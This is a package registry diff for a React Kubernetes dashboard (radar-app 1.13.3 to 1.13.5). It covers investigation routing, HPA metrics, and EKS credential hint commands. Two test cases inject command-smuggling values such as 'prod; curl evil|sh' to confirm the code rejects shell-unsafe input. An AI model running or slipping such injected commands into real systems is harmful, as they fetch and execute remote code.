@skyhook-io/radar-app 1.13.3 → 1.13.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/package.json +6 -6
  2. package/src/App.tsx +68 -23
  3. package/src/RadarApp.tsx +17 -1
  4. package/src/api/client.ts +28 -10
  5. package/src/api/diagnose.ts +61 -15
  6. package/src/components/ConnectionErrorView.test.tsx +30 -0
  7. package/src/components/ConnectionErrorView.tsx +31 -19
  8. package/src/components/diagnose/AgentCase.tsx +131 -0
  9. package/src/components/diagnose/DiagnoseContext.test.ts +95 -0
  10. package/src/components/diagnose/DiagnoseContext.tsx +402 -77
  11. package/src/components/diagnose/DiagnoseSurface.test.tsx +53 -54
  12. package/src/components/diagnose/DiagnoseSurface.tsx +198 -286
  13. package/src/components/diagnose/Home.test.tsx +23 -1
  14. package/src/components/diagnose/Home.tsx +49 -3
  15. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +1446 -5
  16. package/src/components/diagnose/InvestigationEvidencePane.tsx +1373 -126
  17. package/src/components/diagnose/InvestigationView.tsx +227 -5
  18. package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -3
  19. package/src/components/diagnose/diagnoseEvidenceTypes.ts +22 -1
  20. package/src/components/diagnose/investigationCase.test.tsx +1568 -0
  21. package/src/components/diagnose/investigationCase.ts +439 -0
  22. package/src/components/diagnose/investigationEvidence.test.ts +3525 -17
  23. package/src/components/diagnose/investigationEvidence.ts +2246 -166
  24. package/src/components/diagnose/investigationEvidenceKinds.ts +218 -0
  25. package/src/components/diagnose/investigationEvidencePresentation.test.ts +31 -0
  26. package/src/components/diagnose/investigationEvidencePresentation.ts +1 -0
  27. package/src/components/diagnose/investigationMetrics.test.ts +712 -0
  28. package/src/components/diagnose/investigationMetrics.ts +393 -0
  29. package/src/components/diagnose/investigationSourceFocus.ts +6 -0
  30. package/src/components/diagnose/investigationState.test.ts +322 -0
  31. package/src/components/diagnose/investigationState.ts +147 -25
  32. package/src/components/diagnose/parts.test.tsx +537 -1
  33. package/src/components/diagnose/parts.tsx +486 -42
  34. package/src/components/resource/HPACharts.render.test.tsx +77 -0
  35. package/src/components/resource/HPACharts.tsx +32 -25
  36. package/src/components/resource/PrometheusChartsGrid.tsx +181 -79
  37. package/src/components/resources/PodFilePreview.test.tsx +131 -0
  38. package/src/components/resources/PodFilePreview.tsx +394 -0
  39. package/src/components/resources/PodFilesystemModal.tsx +157 -67
  40. package/src/components/resources/ResourcesView.tsx +27 -2
  41. package/src/context/DiagnoseCustomization.test.tsx +26 -0
  42. package/src/context/DiagnoseCustomization.tsx +14 -2
  43. package/src/index.ts +8 -5
  44. package/src/utils/shell-safe.test.ts +25 -1
  45. package/src/utils/shell-safe.ts +16 -0
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skyhook-io/radar-app",
3
- "version": "1.13.3",
3
+ "version": "1.13.5",
4
4
  "description": "Radar's full web UI as a reusable React component. Used by Radar's own binary and by external consumers like Radar Cloud.",
5
5
  "repository": {
6
6
  "type": "git",
@@ -35,7 +35,7 @@
35
35
  "diff": "^9.0.0",
36
36
  "monaco-editor": "0.55.1",
37
37
  "react-markdown": "^10.1.0",
38
- "react-virtuoso": "^4.18.12",
38
+ "react-virtuoso": "^4.18.13",
39
39
  "remark-gfm": "^4.0.1",
40
40
  "shiki": "^4.4.2",
41
41
  "yaml": "^2.9.0"
@@ -58,7 +58,7 @@
58
58
  "@skyhook-io/k8s-ui": "*",
59
59
  "@tailwindcss/typography": "^0.5.20",
60
60
  "@tailwindcss/vite": "^4.3.3",
61
- "@tanstack/react-query": "^5.101.4",
61
+ "@tanstack/react-query": "^5.102.8",
62
62
  "@types/node": "^26.2.0",
63
63
  "@types/react": "^19.2.18",
64
64
  "@types/react-dom": "^19.2.3",
@@ -66,16 +66,16 @@
66
66
  "@xyflow/react": "^12.11.2",
67
67
  "clsx": "^2.1.1",
68
68
  "elkjs": "^0.11.1",
69
- "eslint": "^10.8.0",
69
+ "eslint": "^10.10.0",
70
70
  "eslint-plugin-react-hooks": "^7.1.1",
71
71
  "eslint-plugin-react-refresh": "^0.5.3",
72
72
  "globals": "^17.11.0",
73
73
  "lucide-react": "^1.37.0",
74
- "postcss": "^8.5.26",
74
+ "postcss": "^8.5.28",
75
75
  "prettier": "^3.9.5",
76
76
  "react": "^19.2.8",
77
77
  "react-dom": "^19.2.8",
78
- "react-router-dom": "^7.18.2",
78
+ "react-router-dom": "^7.18.3",
79
79
  "tailwind-merge": "^3.6.0",
80
80
  "tailwindcss": "^4.3.3",
81
81
  "typescript": "^6.0.2",
package/src/App.tsx CHANGED
@@ -7,7 +7,7 @@ import { useNavigate, useLocation, useSearchParams, useNavigationType, Navigatio
7
7
  import { HomeView } from './components/home/HomeView'
8
8
  import { DebugOverlay } from './components/DebugOverlay'
9
9
  import { GlobalDiagnoseButton } from './components/diagnose/LocalDiagnoseAction'
10
- import { useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
10
+ import { investigationWorkspaceSearch, isInvestigationWorkspacePath, useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
11
11
  import { DiagnoseSurface } from './components/diagnose/DiagnoseSurface'
12
12
  import { TopologyGraph, TopologySearch, TopologyBreadcrumb, TopologyFilterSidebar, TopologyControls, FreshnessControl, gitOpsRouteForKind, gitOpsRouteForResource, ScopePill, PaneLoader, assetUrl } from '@skyhook-io/k8s-ui'
13
13
  import { initNavigationMap } from '@skyhook-io/k8s-ui/utils/navigation'
@@ -120,7 +120,7 @@ const FLEET_MODE_KINDS = new Set<NodeKind>([
120
120
 
121
121
  // Convert API resource name back to topology node ID prefix
122
122
  // Extended MainView type that includes traffic and cost
123
- type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications'
123
+ type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications' | 'investigations'
124
124
 
125
125
  // Extract view from URL path
126
126
  function getViewFromPath(pathname: string): ExtendedMainView {
@@ -140,6 +140,7 @@ function getViewFromPath(pathname: string): ExtendedMainView {
140
140
  if (path === 'applications') return 'applications'
141
141
  if (path === 'compare') return 'compare'
142
142
  if (path === 'issues') return 'issues'
143
+ if (path === 'investigations') return 'investigations'
143
144
  return 'home'
144
145
  }
145
146
 
@@ -325,7 +326,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
325
326
  // static. contentGutter is the docked panel width (0 when closed/overlay/maximized).
326
327
  const {
327
328
  open: diagnoseOpen,
328
- close: closeDiagnose,
329
+ dismissForNavigation: dismissDiagnoseForNavigation,
329
330
  contentGutter,
330
331
  maximized: diagnoseMaximized,
331
332
  } = useDiagnoseLayout()
@@ -475,10 +476,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
475
476
  const path = view === 'home' ? '/' : `/${view}`
476
477
 
477
478
  // Start fresh — keep only cross-view params, discard view-specific ones.
478
- // Read the live location because Diagnose owns `ai-run` through the History
479
- // API; React Router's searchParams snapshot does not update for that write.
479
+ // React Router owns navigation state. In embedded MemoryRouter mode the
480
+ // browser URL intentionally does not change, so window.location is stale.
480
481
  const newParams = new URLSearchParams()
481
- const currentParams = new URLSearchParams(window.location.search)
482
+ const currentParams = new URLSearchParams(location.search)
482
483
  const globalNamespaces = currentParams.get('namespaces')
483
484
  if (globalNamespaces) {
484
485
  newParams.set('namespaces', globalNamespaces)
@@ -496,7 +497,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
496
497
  }
497
498
 
498
499
  navigate({ pathname: path, search: newParams.toString() })
499
- }, [navigate, takeover, goHost])
500
+ }, [location.search, navigate, takeover, goHost])
500
501
 
501
502
  // The standalone rail expresses intent to leave the full-width investigation
502
503
  // workspace. Close it before routing so the destination is immediately visible;
@@ -504,10 +505,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
504
505
  const handlePrimaryNavigate = useCallback((view: ExtendedMainView) => {
505
506
  navigateFromPrimaryRail(
506
507
  diagnoseOpen && diagnoseMaximized,
507
- closeDiagnose,
508
+ dismissDiagnoseForNavigation,
508
509
  () => setMainView(view),
509
510
  )
510
- }, [diagnoseOpen, diagnoseMaximized, closeDiagnose, setMainView])
511
+ }, [diagnoseOpen, diagnoseMaximized, dismissDiagnoseForNavigation, setMainView])
511
512
 
512
513
  // Cloud (embedded) takes over the "fleet-shaped" per-cluster views with its
513
514
  // own fleet pages scoped to this cluster — owned by the host's left rail — so
@@ -730,7 +731,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
730
731
  // duplicated verbatim at each render site. Encodes the opened resource in the
731
732
  // URL (?resource=ns/name) — the same deep-link shape the resources view
732
733
  // round-trips — so refresh/share keeps the drawer open instead of dropping it.
733
- const navigateToResourceList = useCallback((resource: SelectedResource) => {
734
+ const navigateToResourceList = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
734
735
  const pluralKind = kindToPluralWithGroup(resource.kind, resource.group ?? '')
735
736
  setSelectedResource({ ...resource, kind: pluralKind })
736
737
  const newParams = new URLSearchParams(searchParams)
@@ -748,10 +749,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
748
749
  } else {
749
750
  newParams.delete('apiGroup')
750
751
  }
752
+ if (investigationRunID === null) newParams.delete('ai-run')
753
+ else if (investigationRunID) newParams.set('ai-run', investigationRunID)
751
754
  navigate({ pathname: `/resources/${pluralKind}`, search: newParams.toString() })
752
755
  }, [searchParams, navigate])
753
756
 
754
- const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string) => {
757
+ const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string, investigationRunID?: string | null) => {
755
758
  const newParams = new URLSearchParams()
756
759
  const globalNamespaces = searchParams.get('namespaces')
757
760
  if (globalNamespaces) {
@@ -761,6 +764,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
761
764
  if (storageNamespace) {
762
765
  newParams.set('releaseStorage', storageNamespace)
763
766
  }
767
+ if (investigationRunID) newParams.set('ai-run', investigationRunID)
764
768
  setSelectedHelmRelease({ namespace, name, storageNamespace })
765
769
  if (mainView === 'helm') {
766
770
  setSearchParams(newParams, { replace: true })
@@ -772,9 +776,9 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
772
776
  // From the Issues queue: special controller/manager subjects route to their
773
777
  // rich detail pages, not the generic resource drawer that's a dead-end for
774
778
  // them. Member resources (Pods, Services, …) fall through to resources.
775
- const navigateFromIssue = useCallback((resource: SelectedResource) => {
779
+ const navigateFromIssue = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
776
780
  if (resource.kind === 'HelmRelease' && resource.group === 'helm.sh' && resource.namespace) {
777
- navigateToHelmRelease(resource.namespace, resource.name)
781
+ navigateToHelmRelease(resource.namespace, resource.name, undefined, investigationRunID)
778
782
  return
779
783
  }
780
784
  const gitOpsPath = gitOpsRouteForResource({
@@ -783,10 +787,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
783
787
  metadata: { namespace: resource.namespace ?? '', name: resource.name },
784
788
  })
785
789
  if (gitOpsPath) {
786
- navigate(gitOpsPath)
790
+ const destination = new URL(gitOpsPath, window.location.origin)
791
+ if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
792
+ navigate(`${destination.pathname}${destination.search}${destination.hash}`)
787
793
  return
788
794
  }
789
- navigateToResourceList(resource)
795
+ navigateToResourceList(resource, investigationRunID)
790
796
  }, [navigate, navigateToHelmRelease, navigateToResourceList])
791
797
 
792
798
  // Collapse the over-list fullscreen back to the drawer = drop ?full=1 (and the
@@ -842,7 +848,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
842
848
  gitops: 'g o', checks: 'g u', cost: 'g c', capacity: 'g p',
843
849
  // Non-rail views (reachable via deep links / actions, not the rail) get no
844
850
  // dedicated mnemonic — listed for exhaustiveness so the type stays total.
845
- workload: '', compare: '', helmCompare: '',
851
+ workload: '', compare: '', helmCompare: '', investigations: '',
846
852
  }
847
853
  const views = Object.keys(VIEW_SHORTCUT_KEYS).filter(
848
854
  (v): v is ExtendedMainView => VIEW_SHORTCUT_KEYS[v as ExtendedMainView] !== '',
@@ -1162,10 +1168,23 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
1162
1168
  // Reset resource-specific params while retaining the durable investigation
1163
1169
  // focus. Diagnose resolves runs by id and owns whether the focused run is
1164
1170
  // still readable after the context switch.
1165
- const nextParams = new URLSearchParams()
1166
- const diagnoseRun = new URLSearchParams(window.location.search).get('ai-run')
1167
- if (diagnoseRun) nextParams.set('ai-run', diagnoseRun)
1168
- navigate({ pathname: location.pathname, search: nextParams.toString() }, { replace: true })
1171
+ if (isInvestigationWorkspacePath(location.pathname)) {
1172
+ navigate(
1173
+ {
1174
+ pathname: location.pathname,
1175
+ search: investigationWorkspaceSearch(location.search),
1176
+ },
1177
+ { replace: true, state: location.state },
1178
+ )
1179
+ } else {
1180
+ const nextParams = new URLSearchParams()
1181
+ const diagnoseRun = new URLSearchParams(location.search).get('ai-run')
1182
+ if (diagnoseRun) nextParams.set('ai-run', diagnoseRun)
1183
+ navigate(
1184
+ { pathname: location.pathname, search: nextParams.toString() },
1185
+ { replace: true, state: location.state },
1186
+ )
1187
+ }
1169
1188
 
1170
1189
  // Auto-unpause so the new cluster's topology loads immediately
1171
1190
  setTopologyPaused(false)
@@ -2467,7 +2486,8 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
2467
2486
  {diagnoseOpen && (
2468
2487
  <DiagnoseSurface
2469
2488
  topInset={chromeless ? 0 : APP_HEADER_HEIGHT}
2470
- onOpenResource={(ref) => {
2489
+ onBrowseIssues={() => setMainView('issues')}
2490
+ onOpenResource={(ref, investigationRunID) => {
2471
2491
  const resource: SelectedResource = {
2472
2492
  kind: ref.kind,
2473
2493
  namespace: ref.namespace ?? '',
@@ -2476,10 +2496,35 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
2476
2496
  }
2477
2497
  const path = relatedResourcePath(resource)
2478
2498
  if (path.startsWith('/workload/')) {
2479
- navigate(path)
2499
+ const destination = new URL(path, window.location.origin)
2500
+ if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
2501
+ navigate(`${destination.pathname}${destination.search}${destination.hash}`)
2480
2502
  return
2481
2503
  }
2482
- navigateFromIssue(resource)
2504
+ navigateFromIssue(resource, investigationRunID)
2505
+ }}
2506
+ onOpenTimeline={({ namespace, name }) => {
2507
+ // Scope state and URL move together, as the Timeline's own
2508
+ // namespace prompt does: the URL-write effect would otherwise
2509
+ // restore the previous scope over the destination's `namespaces`
2510
+ // while the URL-read effect applies it, and the two would alternate.
2511
+ const params = new URLSearchParams({ q: name })
2512
+ if (namespace) {
2513
+ params.set('namespaces', namespace)
2514
+ setNamespaces([namespace])
2515
+ setActiveNamespace.mutate({ namespaces: [namespace] })
2516
+ } else {
2517
+ // A cluster-scoped subject changes nothing about scope, so the
2518
+ // destination keeps the current one. That means a namespace
2519
+ // filter can hide the very change that was clicked, because the
2520
+ // Timeline drops events whose namespace is outside it. Widening
2521
+ // instead has to move scope, URL and the server pick together —
2522
+ // three coupled effects with their own ordering rules — so it is
2523
+ // a change to make against that machinery, not here.
2524
+ const globalNamespaces = searchParams.get('namespaces')
2525
+ if (globalNamespaces) params.set('namespaces', globalNamespaces)
2526
+ }
2527
+ navigate({ pathname: '/timeline', search: params.toString() })
2483
2528
  }}
2484
2529
  />
2485
2530
  )}
package/src/RadarApp.tsx CHANGED
@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
42
42
  import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
43
43
  import type {
44
44
  RenderDiagnoseAction,
45
+ RenderInvestigationRunActions,
45
46
  DiagnoseConsentCopy,
46
47
  } from "./context/DiagnoseCustomization";
47
48
  import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
@@ -113,6 +114,8 @@ export interface RadarAppProps {
113
114
  * agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
114
115
  */
115
116
  renderDiagnoseAction?: RenderDiagnoseAction;
117
+ /** Host-owned controls for the focused investigation; absent in standalone Radar. */
118
+ renderInvestigationRunActions?: RenderInvestigationRunActions;
116
119
  /**
117
120
  * Replaces the first-run consent card's trust copy. REQUIRED of any host whose
118
121
  * backend runs the agent somewhere other than the user's own machine — the
@@ -135,6 +138,12 @@ export interface RadarAppProps {
135
138
  * Radar runs with `navSlots.chrome: 'none'`.
136
139
  */
137
140
  onClusterLoadStateChange?: (state: ClusterLoadState) => void;
141
+ /**
142
+ * Called after a focused investigation has been resolved by the server.
143
+ * Embedders whose chrome lives outside RadarApp's router can use this as a
144
+ * navigation hint without treating an unverified URL id as durable state.
145
+ */
146
+ onInvestigationFocus?: (runID: string) => void;
138
147
  /**
139
148
  * Selects the store backing the event timeline. Omit for the local event
140
149
  * store the Radar binary keeps (default, standalone behavior). Set
@@ -196,9 +205,11 @@ export function RadarApp({
196
205
  manageDocumentTitle = false,
197
206
  documentTitleSuffix,
198
207
  renderDiagnoseAction,
208
+ renderInvestigationRunActions,
199
209
  diagnoseConsent,
200
210
  initialPath,
201
211
  onClusterLoadStateChange,
212
+ onInvestigationFocus,
202
213
  timelineSource,
203
214
  }: RadarAppProps): React.ReactElement {
204
215
  // Apply runtime config during render so module-level singletons are set
@@ -227,8 +238,13 @@ export function RadarApp({
227
238
  <DiagnoseCustomizationProvider
228
239
  value={renderDiagnoseAction ?? defaultDiagnoseAction}
229
240
  consentCopy={diagnoseConsent}
241
+ renderRunActions={renderInvestigationRunActions}
230
242
  >
231
- <DiagnoseProvider browserURLState={router !== "memory"}>
243
+ <DiagnoseProvider
244
+ browserURLState={router !== "memory"}
245
+ forceRouterURLState={router === "memory"}
246
+ onFocusedRun={onInvestigationFocus}
247
+ >
232
248
  <App
233
249
  manageDocumentTitle={manageDocumentTitle}
234
250
  documentTitleSuffix={documentTitleSuffix}
package/src/api/client.ts CHANGED
@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
3105
3105
  result: PrometheusQueryResult;
3106
3106
  query?: string; // PromQL query (included when result is empty, for diagnostics)
3107
3107
  hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
3108
+ // Workload kinds only: the pods the chart covers, established by
3109
+ // controller ownership. podsTotal is the full set when the cap cut the list.
3110
+ pods?: number;
3111
+ podsTotal?: number;
3108
3112
  }
3109
3113
 
3110
3114
  export type PrometheusMetricCategory =
@@ -3516,21 +3520,35 @@ export function useRightsizingScan(namespaces: string[], context = "") {
3516
3520
  };
3517
3521
  }
3518
3522
 
3519
- // Raw PromQL query (range). Used by HPA charts for status_current_replicas etc.
3520
- export function usePromQLRange(
3521
- query: string,
3523
+ // An HPA's replica history: the count it currently observes and the count it
3524
+ // has decided on. Curated server-side so reading the HPA is the only grant
3525
+ // the chart needs; raw PromQL requires cluster-wide access.
3526
+ export interface PrometheusHPAMetrics {
3527
+ namespace: string;
3528
+ name: string;
3529
+ range: string;
3530
+ current: PrometheusQueryResult;
3531
+ desired: PrometheusQueryResult;
3532
+ }
3533
+
3534
+ export function usePrometheusHPAMetrics(
3535
+ namespace: string,
3536
+ name: string,
3522
3537
  range: PrometheusTimeRange = "1h",
3523
3538
  enabled = true,
3524
3539
  ) {
3525
- return useQuery<PrometheusQueryResult>({
3526
- queryKey: ["promql-range", query, range],
3540
+ return useQuery<PrometheusHPAMetrics>({
3541
+ queryKey: ["prometheus-hpa-metrics", namespace, name, range],
3527
3542
  queryFn: () =>
3528
- fetchJSON(
3529
- `/prometheus/query?query=${encodeURIComponent(query)}&range=${range}`,
3530
- ),
3531
- enabled: enabled && Boolean(query),
3543
+ fetchJSON(`/prometheus/hpa/${namespace}/${name}?range=${range}`),
3544
+ enabled: enabled && Boolean(namespace && name),
3532
3545
  staleTime: 30000,
3533
- refetchInterval: 60000,
3546
+ // A denial is a standing RBAC fact, not a blip: show the access state at
3547
+ // once and stop polling for it.
3548
+ refetchInterval: (query) =>
3549
+ isForbiddenError(query.state.error) ? false : 60000,
3550
+ retry: (failureCount, error) =>
3551
+ !isForbiddenError(error) && failureCount < 1,
3534
3552
  });
3535
3553
  }
3536
3554
 
@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
52
52
  refs?: string[];
53
53
  }
54
54
 
55
+ /**
56
+ * How the agent frames one cited Radar result. Roles order cards; they never
57
+ * hide one.
58
+ *
59
+ * One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
60
+ * EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
61
+ * these roles. Change all three together.
62
+ */
63
+ export type DiagnosisEvidenceRole =
64
+ "cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
65
+
66
+ /**
67
+ * Which observation inside one tool result a claim is about. Agent text
68
+ * copied verbatim by the server; the UI resolves it against captured evidence
69
+ * and places the claim only on an exact, unique match.
70
+ */
71
+ export interface DiagnosisEvidenceSubject {
72
+ group?: string;
73
+ kind: string;
74
+ namespace?: string;
75
+ name: string;
76
+ container?: string;
77
+ stream?: "current" | "previous";
78
+ /** Evidence kind (resource, logs, events, changes, metrics, …). */
79
+ observation?: string;
80
+ }
81
+
82
+ /** One server-bound item of the agent's case. Unlinked items are never rendered. */
83
+ export interface DiagnosisEvidenceItem {
84
+ status: "linked" | "unlinked";
85
+ ref?: string;
86
+ role?: DiagnosisEvidenceRole;
87
+ claim?: string;
88
+ subject?: DiagnosisEvidenceSubject;
89
+ }
90
+
91
+ export interface DiagnosisRuledOut {
92
+ hypothesis: string;
93
+ /** Index into Diagnosis.evidence of the item whose result contradicted it. */
94
+ evidenceIndex: number;
95
+ }
96
+
55
97
  export interface Diagnosis {
56
98
  healthy?: boolean;
57
99
  inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
58
100
  rootCause: string;
59
101
  rootCauseEvidence?: RootCauseEvidence;
102
+ /** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
103
+ evidence?: DiagnosisEvidenceItem[];
104
+ /** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
105
+ unlinkedEvidence?: number;
106
+ /** The agent's evidence field was not a list, so none of it could be read. */
107
+ evidenceMalformed?: boolean;
108
+ ruledOut?: DiagnosisRuledOut[];
60
109
  report: string;
61
110
  remediation: string[];
62
111
  recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
87
136
 
88
137
  export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
89
138
 
139
+ // One MCP server's connection state as the agent CLI reported it at startup.
140
+ // Only "connected" means its tools are usable.
141
+ export interface MCPServerStatus {
142
+ name: string;
143
+ status: string;
144
+ }
145
+
90
146
  export interface DiagnoseStreamEvent {
91
147
  type:
92
148
  | "turn"
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
98
154
  | "closed"
99
155
  | "history_unavailable"
100
156
  | "replay_complete";
101
- phase?: string;
157
+ phase?: string; // "investigating" | "connected" | "ready"
158
+ // Startup facts the agent CLI reported on the "ready" phase.
159
+ model?: string;
160
+ toolCount?: number; // Radar tools the agent registered
161
+ mcpServers?: MCPServerStatus[];
102
162
  step?: DiagnoseStep;
103
163
  token?: string;
104
164
  diagnosis?: Diagnosis;
@@ -255,20 +315,6 @@ export async function getRun(
255
315
  return res.json();
256
316
  }
257
317
 
258
- export async function updateRunVisibility(
259
- id: string,
260
- visibility: "private" | "organization",
261
- ): Promise<RunSummary> {
262
- const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
263
- method: "PATCH",
264
- credentials: getCredentialsMode(),
265
- headers: { "Content-Type": "application/json", ...getAuthHeaders() },
266
- body: JSON.stringify({ visibility }),
267
- });
268
- if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
269
- return res.json();
270
- }
271
-
272
318
  // recordConsent acknowledges the current disclosure for an execution profile, server-side.
273
319
  export async function recordConsent(surface: string): Promise<void> {
274
320
  const res = await fetch(`${getApiBase()}/diagnose/consent`, {
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
71
71
  expect(hints.fallbackCommand?.command).toBe('aws sso login')
72
72
  })
73
73
 
74
+ it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
75
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
76
+ const profile = 'myorg/prod/admin'
77
+
78
+ const rejected = getAuthRejectedHints(context, profile)
79
+ expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
80
+ expect(rejected.authCommand?.command).toBe(
81
+ 'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
82
+ )
83
+ expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
84
+
85
+ const auth = selectConnectionHints('auth', context, undefined, profile)
86
+ expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
87
+ expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
88
+
89
+ const timeout = selectConnectionHints('timeout', context, undefined, profile)
90
+ expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
91
+ expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
92
+ })
93
+
94
+ it('drops a hostile AWS profile instead of interpolating it', () => {
95
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
96
+ const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
97
+
98
+ expect(hints.fallbackCommand?.command).toBe('aws sso login')
99
+ expect(hints.authCommand?.command).toBe(
100
+ 'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
101
+ )
102
+ })
103
+
74
104
  it('does not offer interpolated commands for hostile GKE context values', () => {
75
105
  const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
76
106
 
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
6
6
  import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
7
7
  import { useAuthMe, useContexts } from '../api/client'
8
8
  import { Tooltip } from './ui/Tooltip'
9
- import { allShellSafe } from '../utils/shell-safe'
9
+ import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
10
10
  import { apiUrl } from '../api/config'
11
11
  import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
12
12
 
@@ -33,7 +33,7 @@ interface AuthHints {
33
33
  hideAuthButton?: boolean
34
34
  }
35
35
 
36
- function getAuthHints(context: string): AuthHints {
36
+ function getAuthHints(context: string, awsProfile?: string): AuthHints {
37
37
  const parsed = parseContextName(context)
38
38
 
39
39
  switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
54
54
  return result
55
55
  }
56
56
  case 'EKS': {
57
+ const profileFlag = awsProfileFlag(awsProfile)
57
58
  const result: AuthHints = {
58
59
  title: 'EKS Authentication Failed',
59
60
  hints: [
60
61
  'Radar could not get AWS credentials for this context.',
61
62
  'For AWS SSO contexts, the SSO session may need login.',
62
63
  ],
63
- authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
64
+ authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
64
65
  }
65
66
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
66
67
  result.fallbackCommand = {
67
68
  label: 'If that doesn\'t work, refresh cluster credentials:',
68
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
69
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
69
70
  }
70
71
  }
71
72
  return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
88
89
  }
89
90
  }
90
91
 
91
- export function getAuthRejectedHints(context: string): AuthHints {
92
+ export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
92
93
  const parsed = parseContextName(context)
93
94
 
94
95
  switch (parsed.provider) {
95
96
  case 'EKS': {
97
+ const profileFlag = awsProfileFlag(awsProfile)
96
98
  const result: AuthHints = {
97
99
  title: 'EKS Could Not Authenticate This Request',
98
100
  hints: [
99
101
  'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
100
102
  'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
101
103
  'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
102
- 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
104
+ profileFlag
105
+ ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
106
+ : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
103
107
  'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
104
108
  ],
105
